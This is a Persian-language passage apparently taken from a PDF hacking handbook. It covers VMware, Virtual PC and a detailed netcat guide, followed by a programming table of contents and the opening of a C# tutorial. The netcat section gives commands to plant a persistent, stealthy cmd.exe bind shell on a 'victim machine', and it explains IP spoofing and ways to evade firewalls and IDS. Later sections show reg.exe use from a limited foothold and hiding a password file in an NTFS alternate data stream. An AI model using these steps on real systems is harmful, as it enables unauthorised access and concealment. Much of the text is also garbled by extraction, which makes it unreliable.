  .کار بعد از اتمام انتخاب برنامه بعد دانلود آن مثل شيوه بالا است 

 
خواهيد اجرا کنيد و برنامه دانلود کنيد و بعد نصب کنيد یا برنامه خاصی را این را بگویم که شما می توانيد برنامه نصب را هر چقدر ب

  .حذف کنيد یا همه را حذف کنيد
  

 شاهکار است چون بعد از اجرای آن که یک خط فرمان ساده به ما ميدهد که اجازه اجرای همه برنامه های خوب این برنامه واقعاً
  :به ما ميدهد که این شکلی ویندوز و لينوکس حتی گرافيکی ها را در ان 

  

  
  

خوب بقيه کارا را خودتان ميدانيد به من ربطی ندارد با این ميخواهيد چه کار کنيد فقط این بگم تمام دستورهای لينوکس و تمام 
های آن  لينوکس هستن بگم که برید کد X-Windowsدستورهای ویندوز فقط در این یک وجب بالا می آید البته آنهایی که عاشق محيط 

 یک لينوکس داشته باشيد برای آنهایی هم که مثل من هستن و خط فرمان را دوست را دانلود کنيد بعد بياد این تو نصب کنيد تا واقعاً
  !!دارن فکر کنم همين بس باشد و پول اضافی برای دانلود ندارند بدن 

  
   :VM WARE برنامه معروف معرفی

  
نسبت به هم کاران خود در این صنف ميشود گفت یک وجب بالاتر است !! ) اد آن توضيح نميدهم پس من با زی( این برنامه پولی است 

 سال نوری ١٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠٠ ميشود گفت یک Microsoft virtual pcاز بقيه البته از 
  .بالاتر است

  
نسخه آلفا آن هم آمده باشد این برنامه به شما بعد از نصب ) ن در این زما(  باید باشد که فکر ميکنم حالا ۵آخرین نسخه آن نسخه 

را به شما در درون سيستم عامل ) نسخه ها% ٩٩٫٩٩٩٩(و لينوکس ) تمام نسخه ها(اجازه نصب سيستم عامل های ویندوز !! خودش
  .خودتان که ممکن است لينوکس یا ویندوز باشد ، به شما ميدهد
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 در شبکه به عنوان یک ماشين حقيقی در شبکه شناخته ميشود یک کمی دنگ ت نصب ميکنيد واقعاًاین سيستم عاملی که به این صور
فنگ آن برای شبکه کردن ماشين مجازی با ماشين حقيقی خودتان زیاد است کلا سه حالت برای این کار به شما ميدهد ؛ حالت اول 

ه مجازی برای شما و ماشين مجازی نصب ميکند و بقيه کار  است که یک کارت شبکUse Bridged Networkingاستفاده از گزینه 
حالت دوم که برای ما ایرانی ها بهتر است .  خاص IPهای شبکه هم مثل روال معمول است و البته در این حالت باید شما به آن یک 

ن موقع هر وقت توسط  ميگویند است در ایNAT که به اختصار Use Network Address Translationاستفاده از گزینه !!! 
ناکام %) ٩٠بيش از (  شما بگيرد که در اکثر مواقع ISP از IPرایانه حقيقی به شبکه وصل شدید رایانه مجازی سعی ميکند یک آدرس 

 ها کارت اشتراک خود را فقط برای اتصال یک کامپيوتر پيکر بندی ميکنند  نه  چند ISP ميشوید چون معمولا DICميماند و شما هم 
حالت سوم پس به درد ما ميخورد در این شيوه رایانه .  شما نيز بی انجامدک، که  اسرار در این کار ممکن است به قطع شدن اشتراتا

حقيقی تقریبا نقش یک سرور را انجام ميدهد به این صورت که همه رایانه های مجازی زیر مجموعه این ماشين ميشوند و مثلا اگر 
 خودتان ميگيرد بعد ميدهد به آن ماشين ISPه وب از طرف آنها باشد اول رایانه شما آن صفحه را از درخواستی برای دیدن یک صف

  ).کافی نيت ها% ٩٩دقيقا مثل ( مجازی 
  

 است باید شما رم خود را اول ظرفيت آن را تقسيم بر دو کرده و عدد RAMنکته دیگری که در باره این برنامه مهم است شيوه تقسيم 
 صورت مساوی بين تعداد ، ماشين های مجازی که قسط دارید به طور هم زمان از آنها استفاده کنيد تقسيم کنيد ؛ اگر قسط حاصل را به

  . خود را به آن ماشين مجازی اختصاص دهيد RAMاستفاده هم زمان از آنها را ندارید ميتوانيد نصف 
  

 Fdiskجاد ميکند و نباید نگران استفاده از دستورات خوبی همچون آخرین نکته این است که شما روی هارد خود یک هارد مجازی ای
  !باشيد.. و
  

   :Microsoft virtual pc و Connectix Virtual pc برنامه معرفی
  

 ر تغييMicrosoft virtual pc و نام آن به  خریداری شدهت توسط مایکروسافConnectix Virtual pcاول این را بگویم که برنامه 
 بگردید که فکر کنم تو شبکه هم خيلی کم است ولی از لينوکس Connectixپس دنبال نسخه قدیمی !!  و البته بدتر هم شده پيدا کرده

  .پشتيبانی ميکند
  

این بيلی پست فطرت بعد از خرید این برنامه و تغيير اسم آن دیگر از لينوکس در این برنامه پشتيبانی نميکند ولی شما ميتوانيد در این 
  !!!!).بيلی ميکشم تو را ( ه لينوکس نصب کنيد ولی امکانات شبکه در اختيار شما نيست برنام

  
بگذریم کار با این برنامه خيلی ساده است و اصلا ....  محشر بود در این سادگی کارایی خوبی داشت ولی آن واقعاConnectixًنسخه 

مشکل .  است و توضيح هم نميخواهد VMسمت شبکه آن تقریبا مثل ق. نياز به توضيح ندارد و بد نيست کمی تجربه کسب کنيد با آن
 است و بد نيست از فرمولی که بالا به شما ها یاد دادم برای پایداری ماشين خودتان و VMتخصيص رم هم ندارد ولی اصولا شبيه 

  .ماشين مجازی از آن استفاده کنيد 
  
  

   :Net Cat یا با نام کامل NCضميمه ششم ؛ معرفی ابزار 
  

هميشه . باید خيلی پيش از این ، این ابزار معرفی ميکردم ولی نميدانستم که کجا باید درباره آن توضيح بدهم. یک ابزار همه کاره است
  !!دارای یک سری سویچ است که همه را توضيح کامل ميدهم البته چون ميدانم به کار شما ها خواهد آمد ميگویم. کار راه می اندازد

دوست دارم آن را .... ت ، از پویش پورت گرفته تا یک اسب تروا مرگ بار تا یک نرم افزار برای جمع آوری اطلاعات وهمه کاره اس
  . لایق این دوست داشتن استچون واقعاً

  
C:\amir>nc -h 
[v1.10 NT] 
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [options] [hostname] [port] 
options: 
        -d              detach from console, stealth mode 
 
        -e prog         inbound program to exec [dangerous!!] 
        -g gateway      source-routing hop point[s], up to 8 
        -G num          source-routing pointer: 4, 8, 12, ... 
        -h              this cruft 
        -i secs         delay interval for lines sent, ports scanned 
        -l              listen mode, for inbound connects 
        -L              listen harder, re-listen on socket close 
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        -n              numeric-only IP addresses, no DNS 
        -o file         hex dump of traffic 
        -p port         local port number 
        -r              randomize local and remote ports 
        -s addr         local source address 
        -t              answer TELNET negotiation 
        -u              UDP mode 
        -v              verbose [use twice to be more verbose] 
        -w secs         timeout for connects and final net reads 
        -z              zero-I/O mode [used for scanning] 
port numbers can be individual or ranges: m-n [inclusive] 

  
  
  توضيحات  سویچ  

١  -d  این گزینه تنها تحت سيستم عامل ویندوز قابل بهره برداری بوده و باعث می شود تا برنامهtNetca در 
ه طور مجزا از اعلان فعاليت نماید ؛ بدین معنی که ب ) stealth modeیا اصطلاحا ( حالت مخفی 
MS-DOSاین گزینه به برنامه .  به اجرا درآیدNetcat اجازه ميدهد تا بدون نياز به باز نگه داشتن 

به فعاليت خود ادامه  ) Mode Listening(  ، در حالت آمده یا گوش به زنگ MS-DOSپنجره اعلان 
  . به مهاجم ميدهدNetcatبرنامه همچنين گزینه مورد بحث اطمينان بهتری را درباره فعاليت . دهد

٢  -e <command>   در صورتی که برنامهnc توسط گزینه gaping_security_hole کامپایل شده باشد ، هر بار که 
برنامه ای از طریق یک پورت به خصوص اقدام به برقراری اتصال با کامپيوتری می کند که عهده دار 

کار از این برنامه که بر روی آن پورت گوش به زنگ است  است ، نمونه آمده به NCميزبانی برنامه 
 در سمت کلاینت جریان NC را اجرا خواهد کرد ، این در حالی است که برنامه commandفرمان 

 که در NC را از طریق خط لوله ای مجازی به نمونه دیگری از برنامه I/Oورودی و خروجی و یا 
استفاده از این قابليت فوق اعاده خطرناک است . ل ميکندجای دیگری گوش به زنگ و آماده است ارسا

بهره گری از این گزینه روش آسان برای راه . مگر اینکه به فرایند در حال اجرا کاملا مشرف باشيد
  مخفی بر روی یک سيستم نمونه به منظور اجرای فرمانهای مورد نظر محسوب shellاندازی یک 

  . ميشود
٣  -i<second>  مشخص کننده تاخيری است که برنامه این گزینه NC مابين دو فرایند ارسال  متوالی داده ها منظور 

 ، این برنامه به اندازه زمانی که توسط NCبرای مثال هنگام انتقال اطلاعات یک فایل به برنامه . ميکند
ده از استفا. آرگومان فوق مشخص ميشود ، پيش از دریافت خط بعدی از ورودی تاخير ایجاد ميکند

 با ط بر روی چندن پورت از یک رایانه ميزبان موجب ميشود تا این برنامه پيش از ارتباNCبرنامه 
این قابليت به کاربر .  شده توسط آرگومان مورد بحث ثانيه تاخير ایجاد کندنپورت بعدی به اندازه تعيي

سرویس موجد را با وضوح اجازه ميدهد تا فرایند انتقال داده ها و یا حملات احتمالی بر روی یک 
بيشتری مشاهده کرده ، ضمن اینکه امکان مراقبت از پورت ها را تحت یک نوع سيستم تشخيص تجاوز 

  . ، در اختيار مدیر سيستم قرار می دهدIDSیا اصطلاحا 
۴  -g<route-list>   را برای مسير یابی در واقع این برنامه شيوه سفت سختی!! استفاده از این زینه ميتواند گول زننده باشد 

 IP یا همان IPاین موضع را به زودی در قسمتی با عنوان جعل آدرس ( منبع مورد استفاده قرار نميدهد 
Spoofing گزینه ٨بهره گيری از تعداد حداکثر ) .  توضيح ميدهم –g در سطر فرمان به منظور اجبار 

 منبع داده IPت در مواردی که جعل آدرس این قابلي.  مشخص مجاز ميباشدIPدر عبور داده ها از آدرس 
مد نظر بوده و مایل ) جهت دور زدن فيلترها دیوار آتش یا ليست آدرس های مجاز برای دست یابی ( ها 

به واسطه مسير یابی منبع از طریق . به دریافت پاسخ از جانب رایانه ميزبان باشيم ، مفيد واقع ميشود
 را مجبور کنيم تا به جای انتقال به مقصد واقعی خود به IPسته های کامپيوتر تحت کنترل خود ميتوانيم ب
با این همه توجه به این موضوع مهم است که این فرایند در اغلب . آدرس مورد نظر ما جاری شوند

موارد غير عملی است  چرا که بيشتر روترها امروزی گزینه مسير یابی مورد بحث را نادیده گرفته 
ترهای نصب شده بر روی پورت های و همچنين اغلب دیوارهای اتش هرگونه ضمن آنکه بيشتر فيل

  .اقدامی را جهت انجام این ار به ثبت ميرسانند
۵  -G<hope pointer>   از این گزینه هنگامی استفاده ميشود که خواسته باشيم تا آدرسIPشده ن به خصوصی را در ليست تعيي 

 این IPبه دليل ماهيت چهار بایتی آدرس های .  کنيم  به عنوان آدرس بعدی مشخصg–توسط گزینه 
 IP به اولين آدرس ۴به گونه ای که عدد .  ظاهر ميشود۴آرگومان همواره به شکل مضرب های از عدد 

 در ليست اشاره ميکند و برای سایر آدرس ها هم به همين ترتيب ادامه پيدا IP به دومين آدرس ٨و عدد 
 را به گونه IPاردی مفيد است که بخواهيم که بخشهای از ليست آدرس های این قابليت برای مو. ميکند

به این ترتيب که با قرار دادن . ای جعل کنيم که به نظر آید این آدرسها از جای دیگری تعيين شده اند
 به عنوان ١٢ و استفاده از عدد IP از ليست آدرس های g– جعلی در اولين دو گزینه IPآدرس های 
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 ٨٩١    صفحه

 موجد در IP مربوطه مستقيما به سومين آدرس IP ميتوان ترتيبی داد تا بسته های G–زینه آرگومان گ
با این حال محتوای اصلی بسته ها کماکان شامل آدرس های جعلی خواهد . ليست مسيرها سرازیر شود

 از این رو چنين به نظر خواهد رسيد که بسته مورد نظر از موقعيت طبيعی خود به مقصد ارسال. بود
این قابليت ميتواند هنگام جعل آدرس . شده ، درحالی که فرایند ارسال از موقعيت متفاوتی انجام شده است

IP مسير یابی منبع مفيد واقع شود ، اما هيچ تضمينی در مورد دریافت پاسخ از جانب ميزبان در دست 
 جعل شده IPچه که آدرس نخواهد بود ، چرا که ميزبان مورد نظر سعی خواهد داشت تا مسير را از ان 

  .مشخص ميکند ، منحرف نماید 
۶  -l   این گزینه باعث فعال یا غير فعال  شدن حالت گوش به زنگ یاListening mode در برنامه NC 

 مورد نظر به منظور انظار برنامه TCP برای تعيين پورت p–گزینه فوق باید به همراه گزینه . ميشود
NCبرای بهره گيری از پورت های . وی آن پورت مور استفاده قرار بگيرد جهت برقراری ارتباط بر ر

UDP به جای TCP کافی است به جای گزینه –p از –uاستفاده کنيد .  
٧  -L   این گزینه تنها در سيستم های نوع ویندوز قابل استفاده بوده و نسبت به گزینه قبلی یعنی گزینه–L از 

 را مجبور ميکند تا پس از بستن یک NC مورد بحث برنامه گزینه. قابليت بيشتری برخوردار است
اتصال ، اقدامی را جهت تغيير حالت مجدد گوش به زنگ با بهره گيری از گزینه سطر فرمان مورد 

 ميتواند در خواست بعدی جهت اتصال را بدون دخالت کاربر و NC برنامه Tبه ترتيب . نظر انجام دهد
 بهره l–مشابه گزینه .  اوليه به اتمام رسيده و بسته شده است ، بپذیردحتی پس از آن که فرآیند اتصال

  . ميباشدu– یا p–گيری از این گزینه مستلزم استفاده از گزینه 
٨  -n   استفاده از این گزینه برنامهNCرا از هرگونه کوششی به منظور دستيابی به نام ميزبان منع ميکند  .

مينان حاصل کنيد که نام هيچ ميزبانی را به عنوان آرگومان سطر هنگامه استفاده از گزینه مذکور اط
  .فرمان مورد بهره برداری قرار نداده اید

٩  -o<hexfile>   استفاده از این گزینه باعث ميشود تا داده ها به صورت هگزادسيمال یا مبنای شانزده در فایلی با
های ورودی هم داده های خروجی را به  هم داده nc -o hexfileفرمان .  ذخيره شودlehexfiمشخصه 

به ترتيب بيانگر داده های ورودی و < و > در فایل حاصل علامت . صورت هگزادسيمال ذخيره ميکند
برای اینکه عمليات حاصل از به کار گيری این گزینه تنها بر روی داده ورودی . خروجی خواهند بود

به طور مشابه فرمان . تغيير دهيد  nc –o < hexfileانجام شود کافی است فرمان فوق را به صورت 
nc –o > hexfileعمليات مورد نظر را تنها بر روی داده های خروجی انجام ميدهد .  

١٠  -p<port>   با بهره گيری از این گزینه ميتوان شماره پورت محلی مورد استفاده برنامهNCبه .  را مشخص نمود
.  جهت تحصيل گوش به زنگ امری ضرری استL– یا l–ینه کارگيری این گزینه هنگام استفاده از گز

 از هر پورتی که سيستم به آن اختصاص بدهد NCدر صورتی که از گزینه مورد بحث استفاده نشود 
 UDP یا TCPاین وضعيت چيزی است که در مورد بيشتر برنامه های کاربردی ( استفاده خواهد کرد 

 rootد که در سيستم نوع یونيکس تنها کاربر اصلی موسوم به به خاطر داشته باشي) . شاهد آن هستيم 
  . است١٠٢۴قادر به استفاده از پورت های کوچکتر از 

١١  -r   برنامهnc پورت های محلی و پورت های راه دور یا به عبارت دیگر پورت های مبدا و مقصد را به 
شود که بخواهيم با استفاده از این این قابليت در مواقعی مفيد واقع مي. صورت تصادفی انتخاب ميکند

برنامه  اطلاعاتی را درباره محدوده بزرگی از پورت های موجد بر روی سيستم به دست آورده و 
این فعاليت به فرایند . ترتيبی نامشخص از پورت های مبدا و مقصد را مورد بهره برداری قرار دهيم

به کمی داشته و بدین ترتيب سيستم های  تشاNCپيمایش یا اسکن پورت های موجود توسط برنامه 
 با i–چنان چه از این گزینه به همراه گزینه .  گمراه خواهد کردNCردیابی را در پيگيری فعاليت های 

یک تاخير تقریبا طولانی استفاده شود ، ان گاه فرایند انتخاب پورت ها تشابه کمتری با اسکن آن ها 
ستم باهوش با کمی دقت و حوصله در وقایع ثبت شده توسط خواهد داشت ، با وجود این یک مدیر سي

  .سيستم همواره می تواند به موضوع فوق پی ببرد
١٢  -s   این گزینه آدرسIP منبعی را که برنامه NC باید هنگام برقراری ارتباطات خود از آن ها استفاده کند 

ا به دور از چشمان مدیران سيستم گزینه فوق به مهاجمين اجازه ميدهد تا حقه هایی ر. مشخص می نماید
 دیگران IP مهاجمين یا جعل آدرس IPپيش از هر چيز این گزینه امکان پنهان کردن آدرس . سوار کنند

در صورت جعل آدرس مهاجم مورد نظر برای دست یابی به اطلاعات . را در اختيار آنها قرار می دهد
نکته بعدی این .  جهت مسير یابی منبع بهره بگيردg–ارسالی به آدرس مورد استفاده وی باید از گزینه 

همان گونه . است که در بسياری از موارد در حالت گوش به زنگ می توان اقدام به ربودن سرویس کرد
برای مثال .  از طریق پورت مشخصی قابل دستيابی هستندUDP یا TCPکه ميدانيد تمام سرویس های 

 جهت دریافت داده ها مورد نظر قابل استفاده ۵١۴ شماره UDP بر روی پورت SYSLOGسرویس 
 و ۵١۴ به منظور گوش فرا دادن به پورت شماره NCبا این وجد در صورت استفاده از برنامه . است

 مذکور IP منبع هر گونه اطلاعات ارسالی به آدرس IP جهت تعيين آدرس s–نيز بهره گيری از گزینه 
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  .د گرفت  قرار خواهNCابتدا در اختيار برنامه 
١٣  -t   در صورتی که برنامهNC با بهره گيری از گزینه TELNET کامپایل شده باشد استفاده از این گزینه 

هرچند ممکن است اطلاعات رد بدل شده .  به گفتگو بنشيندTelnet با سرور NCامکان ميدهد تا برنامه 
 که پورت متداول ٢٣ شماره TCPورت به اندازه کافی با مفهوم به نظر نرسد اما تلاش برای اتصال به پ

 بر روی Telnet می باشد ، موجب خواهد شد تا اعلان اتصال به برنامه Telnetجهت اتصال به سرور 
  .صفحه ظاهر شود

١۴  -u   این گزینه موجب ميشود تاNC به جای استفاده از پروتکل TCP از پروتکل UDPاز این .  بهره گيرد
  .ینت و یا سرور بهره بردگزینه ميتوان هم در حالت کلا

١۵  -v  این گزینه ميزان اطلاعاتی را که برنامهNC  باید در فعاليت خود به کاربر گزارش بدهد مشخص 
 هيچ اطلاعاتی در مورد روند کار خود در اختيار NCعدم استفاده از این گزینه موجب ميشود تا . ميکند

 در صورت NC باعث ميشود تا برنامه v–ینه از طرف دیگر استفاده از یک گز. کاربر قرار ندهد
بروز هرگونه مشکلی اطلاعاتی را در مورد آدرسی که قصد برقراری ارتباط با ان را دارد در اختيار 

 کاربر خود را در جریان NC متوالی باعث خواهد شد تا v–همچنين بهره گيری از دو گزینه . بگذارد
  .هدميزان اطلاعات ارسالی یا دریافتی قرار د

١۶  -w<seconds>  این گزینه مدت زمان را بر حسب ثانيه مشخص ميکند که برنامهNC ، باید پيش از صرفنظر از اتصال 
 NCگزینه مذکور هم چنين مدت زمانی را مشخص ميکند که برنامه . برای برقراری آن منتظر بماند

ن دریافت اطلاعات از حي ) End-Of-Fileشاخص پایان فایل یا   (EOFپس از مواجه با شاخص 
این رفتار در مواردی از اهميت خاص . ورودی استاندارد ، پيش از بستن اتصال باید منتظر بماند

 به یک سرور راه دور بوده و NCبرخوردار است که قصدمان ارسال فرمان مورد نظر از طریق 
 به وب HTTPرمان مانند ارسال یک ف( انتظار دریافت حجم بزرگی از اطلاعات را داشته باشيم 

  )سرور جهت بارگيری یک فایل حجيم 
١٧  -z  در صورتی که قصدمان تنها اطلاع از پورت های باز باشد ، به احتمال قوی بهره گيری از ابزار

nmapاما گزینه .  کفایت ميکند–z برنامه NC را وادار می کند تا تنها اطلاعاتی را در حد کفایت راجه 
موعه که برنامه های مختلف از طریق آنها در حالت گوش به زنگ به سر به پورت هایی که از مج

  .ميبرند ، در اختيار قرار دهد
  

دیگه استفاده و شيوه ترکيب بندی با خودتان ، من کامل توضيح دادم پس خودتان با توجه به نيازتان ترکيب های مختلفی را به وجد 
  :آورید مثل این چند ترکيب مشهور 

C :\> nc.exe -l -p 4455 -e cmd.exe 
 یا همان خط فرمان اجرا CMD ماشين هدف برنامه  ۴۴۵۵این ترکيب مشهور را باید روی ماشين قربانی اجرا کنيد تا روی پورت 

!! این یکی فقط بخاطر رایگان بودن مقاله به غایت. (  به ان دسترسی پيدا کنيد۴۴۵۵ ساده به پورت شماره  Telnetشود و شما با یک 
 را استفاده کنيد اگر پنجره خط فرمان ، که در آن دستور باز شدن پورت را صادر کرده اید بسته هم شود d– سویچ e–گر قبل از سویچ ا

 استفاده کنيد بعد اتمام کار شما L– از گزینه l–،  باز پورت مورد نظر باز ميماند و برنامه پشت آن گوش به زنگ ؛ اگر به جای گزینه 
 CMD دیگر از پشت پورت خارج نميشود و هميشه تا راه اندازی مجدد آن ماشين پشت آن پورت گوش به زنگ برنامه NCبا برنامه 

 در این باره به صورت زیر NCاز شکل عمومی !! پس سعی کنيد حتی اگر این توضيحات را هم متوجه نشدید ). را نگه ميدارد 
  :استفاده کنيد

  
C :\> nc.exe –p 4455 –d –L –e cmd.exe 

  
 هم توصيه ميکنم از پورت های شماره بالا استفاده کنيد و نيز ميتوانيد به جای خط فرمان هر چيز دیگری را اجرا ۴۴۵۵بجای عدد 

  !!کنيد 
  .این یک بار دیگر بگم این فرمان بالا را باید روی ماشين قربانی اجرا کنيد نه روی ماشين خودتان 
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   :REG.exeرين ضميمه ؛ معرفی برنامه ضميمه هفتم و البته آخ

  
خوب شاید خيلی مواقع شما به سيستم هدف دست پيدا کنيد تحت یک کاربر محدود و شما دانش استفاده از رجيستری را دارا هستيد ولی 

 ميشود حال شما ابزار این کار را ندارید در بيشتر مواقع ویرایش گر گرافيکی رجيستری نيز در دسترس نيست و کار آدم خيلی مشکل
  . داشته باشيد تمام مشکلات شما حل ميشود reg.exeاگر اطلاعاتی در باره ابزار 

  
  .  کتابی که معرفی کرده ام در پایين ، پيدا کنيد١۴کار با آن ساده است قصد توضيح دادن آن را ندارم ميتوانيد توضيحات کامل ان را در

  
  
  

   :CPآموزش و معرفی ابزار 
  

 است و کار آن مخفی کردن فایل ها ميباشد ، به این صورت که یک فایل را آنچنان به فایل دیگری می NTRK همجموعابزار که از 
در مجموع یکی از !! چسباند که نه حجم فایل ایجاد شده تغيير کند و نه با اجرای آن باعث شود که خود برنامه با مشکل رو به رو شود 

هم دارد ولی فایل حاصل ... این ابزار قابليت ادغام یک فایل اجرای را با دیگری و . ع فایل ها است بهترین ابزار های پنهان سازی انوا
  :برای مثال !!  کار ميکند NTFSاین ابزار فقط تحت سيستم فایل . آن باعث اجرای فایل مخفی شده نميشود 

  
C:\>cp pass.txt notepad.exe : data 

  
.  چسباندیم و آن را مخفی کردیمnotepad.exeرا به برنامه ویرایش گر متنی ) pass.txt(مات عبور خوب ما با این کار فایل حاوی کل

  :حال برای باز گردن فایل مخفی شده مينویسيم 
  

C:\>cp notepad.exe : data pass.txt 
  

  !!حال فایل را دوباره باز یابی کردیم 
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 ٨٩٤    صفحه

  

  
  
  
  

  
  
  

  :اهداف  
  

 .  آموزش برنامه نویسی :يست يکم بفصل 
  

  #Cآموزش زبان برنامه نویسی  
  

 .مقدمه  
  .#Cتعریف متغير ها در  
  .Name Spacesآشنای با فضا های نام  
 .کلاس ها  
 .ساختار های تصميم گيری  
  .#Cآرایه ها در  
  .#Cحلقه ها در  

  
  .forاستفاده از حلقه  
  .whileاستفاده از حلقه  
  .doه استفاده از حلق 
  .foreachاستفاده از حلقه  

 
 .نکات تکميلی درباره حلقه ها  
  .#Cتعریف متد ها در  

  
  .voidتابع  
  .ا آنه از استفاده ی نحوه و برنامه دیگر های کلاس در توابع تعریف 

 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٨٩٥    صفحه

 .دریافت چند خروجی از یک تابع  
  

  .outاستفاده از کلمه  
  .refاستفاده از کلمه  
  .معلوم نا های انآرگوم تعداد با  تابع 
  .overloadingمبحث  

 
 .استفاده از آرایه های چند بعدی  
 Jagged Arrays.  

  
  .System Arrayاستفاده از  

  
 .بررسی دقيقتر مبحث شی گرای  

  
   .usingاستفاده از  

 
  .#Cکلاس ها در  
  .)Indexers( ها  رمبحث ایندکس 
 ) .Inheritance(ارث بری  
 ) .Polymorphism(پلی مرفيسم  

  
  .ایجاد متد های پلی مرفيک  

 
  .abstractکلاس های  
  .#Cمقابله با خطاها در  
 سر بار گذاری عمل گر ها 
 Delegates.  
 Delegates and Events.  
 .مباحث تکميلی در باره ثبت رخداد ها  
  .#Cاپلت های  

 
  Cآموزش برنامه نویسی تحت شبکه اینترنت با زبان برنامه نویسی  

  
 .مقدمه  
 .نواع سوکت ها و مفاهيم آن ها ا 
 .مشتری / مفهوم سرویس دهنده  
 .ساختمان داده های مورد نياز در برنامه نویسی  مبتنی بر سوکت  
 .مشکلات ماشين ها از لحاظ ذخيره سازی کلمات در حافظه  

  
 . در فيلد آدرس IPتنظيم آدرس  

  
  .TCPتوابع مورد استفاده در برنامه سرویس دهنده مبتنی بر  

  
 socketتابع  
  .bindتابع  
  .Listenتابع  
  .acceptتابع  
  .recv و تابع sendتابع  
  .shutdown و closeتوابع  
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  .TCPتوابع مورد استفاده در برنامه مشتری مبتنی بر  
  

 .connect تابع 
 . با سوکت های دیتا گرام UDPارسال و دریافت به روش  

 
 .توابع مفيد در برنامه نویسی شبکه  

  
  .getpeernameتابع  
  . gethostnameتابع  
 . در ترجمه آدرس های حوزه DNSبه کار گيری  

 
 .برنامه های نمونه  

  
  .استریم های سوکت بر  مبتنیTCP روش به اطلاعات مبادله ازمثالی  
  .دیتاگرام های سوکت بر  مبتنیUDP روش به اطلاعات مبادله از مثالی 

  
  . بلوکه شدن پروسه های تحت شبکه 

  
 Java Scriptآموزش برنامه نویسی  

  
 Java Scriptدر یک نگاه .  
 .شی گرای و دیناميکی  
 .نحوه قرار گيری برنامه ها در صفحات وب  
 . در صفحات وب JSروش های دیگری برای قرار گيری  
  .JSمتغير ها و عملگر های  

 
 .نترنت   برای برنامه نویسی تحت شبکه ایJavaآموزش و معرفی امکانات زبان  

  
 .مقدمه  
 .داده ها در جاوا  
  .Appletاپلت ها  
  .امکانات جاوا برای برنامه نویسی سوکت  

 
   .PHPآموزش و معرفی  

  
 .مقدمه  
 PHP چيست ؟  
  .PHPنصب و پيکر بندی  
  .Easy PHPنرم افزار  
 .کد نویسی  
 .ارسال اطلاعات به مرورگر  
 . به مرورگر htmlارسال  
 . دادن توضيحات در متن برنامه فضا های خالی و قرار 
  .PHP در nاستفاده از سویچ  
 .افزودن توضيحات به اسکریت ها  
 .انواع متغير ها  
 .آرایه ها  
 .نسبت دادن مقدار به متغير ها  
 .متغير های از پيش تعریف شده  
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   .ASP.NETآموزش و معرفی  
  

  ..Net Frameworkنصب  
  .IISپيکر بندی و تنظيم  
  .IIS اندازی و راهنصب  
  .ASP.NET برای ایجاد اولين برنامه  IISتنظيمات  
  .IISایجاد دایرکتری مجازی در  
 .مروری  بر سطوح دسترسی ها  
  .IIS در Default Documentتنظيم  
 .متوقف کردن و راه اندازی مجدد یک سایت  
  .Sub Webایجاد یک  
  .ASP.Net برنامه اولين ایجاد و#C گرای  شی نویسی برنامه زبان مقدمات با آشنایی 
 ) .NameSpaces(آشنای با فضا های نام  
 .تعریف متغير و مقدار دهی به آن  
  .ASP.Net و نهوه استفاده ان در صفحات Htmlمعرفی کنترل های  
  . وبهای تکميلی کنترل موارد و کاربر طرف از شده وارد های داده اعتبار تعيين و بررسی 
 .SQL-Server  مقدمات  و SQL زبان با آشنایی 
  ASP.NET در ها داده با کار و دستيابی طریقه 
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   :#Cآموزش زبان برنامه نويسی 
  

  آقای وحيد نصيری : نویسنده 
  

  ؟) : نامه برقی(پست الکترونيک 
  
  
  
  
  

  : مقدمه
 
نا  بيشتر #C با يمهخوا می مقالاتی سلسله طی در ن ا فرض  . شویم  آش الات  ی ر  مق ن  ب ه  است  ای نایی  ک ا  مختصری  آش ه  ایه زبان ب  برنام

شتر  ر چه ه  سادگی  آن دفه  و شود  می  شروع صفر از تقریبا ما کار چند ره ، دارید نویسی ان  دو  از#C .است  بي  Java  و ++C زب
  .است برده ارث به واجا از را خودش گرایی شی ایه ویژگی اما باشد  می++C ایه جنبه از بسياری حاوی ! است شده متولد

  
C#از  اگرچه C++گرا شی "خالص" زبان یک اما است شده  گرفته(Object oriented)ایهزبان جزو شده یاد زبان دو ره .باشد  می 
 نویسی برنامه ی اجازه يبریده زبان یک . اند نکرده تلقی مه م++C ی اندازه به را مورد  این#C طراحان اما شوند می محسوب يبریده
ا  بوده قرار که است این ، است يبریده ++C اینکه دليل . کند می ميسر را مختلف ایه شيوه با ا  ت ان  ب ين ه و باشد   سازگار C زب  امر  م

  .شوند پيچيده  بسيار++C ای ه جنبه از بعضی تا گردیده سبب
 

ام  گرا شی نویسی برنامه اهتن يدهخوا می شما که است این بر اش فرض شارپ سی زبان د ه و دي هد انج وطی ++C مانن ه  از  مخل  برنام
ان  به يدهخوا نمی را گرا شی و(Procedural)ایی رویه نویسی انيد  پای ابراین  . برس د  بن ان  فکر  طرز  بای ا  را خودت ای  ب ی  شی  دني  گرای
  .شارپ سی ی برنامه یک حتی است شیچيزی  ره شارپ سی در که دید يدهخوا ادامه در . يدهد تطبيق

  
 

  : اول ی برنامه
  

Visual studio.netد  اجرا   را ا  ی صفحه  در سپس  و کني ر   راNew Project شده  رهظ د  ب ه  از حالا  .گزیني  #Visual C ی گزین
projectsقسمت  Console applications ماننده دلخواه نامی  .نمایيد انتخاب را ex01 سپس و نموده وارد را Ok  به زیر کد .نمایيد 
   :شد دهاخو توليد شما برای خودکار صورت

  
using System; 
namespace ex01 
{ 
/// <summary> 
/// Summary description for Class1. 
/// </summary> 
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class Class1 
{ 
/// <summary> 
/// The main entry point for the application. 
/// </summary> 
[STAThread] 
static void Main(string[] args) 
{ 
// 
// TODO: Add code to start application here 
// 
} 
} 
} 

  
ی  مقالات در ! نيست مهم اصلا شوید نمی متوجه آنرا يمهمفا از سری یک اگر ام  آت ن  تم وارد  ای د هخوا داده توضيح  مفصل  م د  .شد  ن  مت

ی  ٣٢ اما اسد تحت ایه برنامه به شبيه Console حالت در برنامه اصلی عمليات که است قسمتی اینجا در Main استاندارد  آن در بيت
ی  است  شده تعریف void  اینجا در آن نوع . بود ندهنخوا اجرا به قادر شارپ سی ایه برنامه Main متد بدون .شود می انجام ن  یعن  ای
 ره ، داشت دهخوا حضور  Main متد مهباز بنویسيد #C  با يدهبخوا مه را ویندوز استاندارد ایه برنامه اگر حتی . ندارد خروجی متد
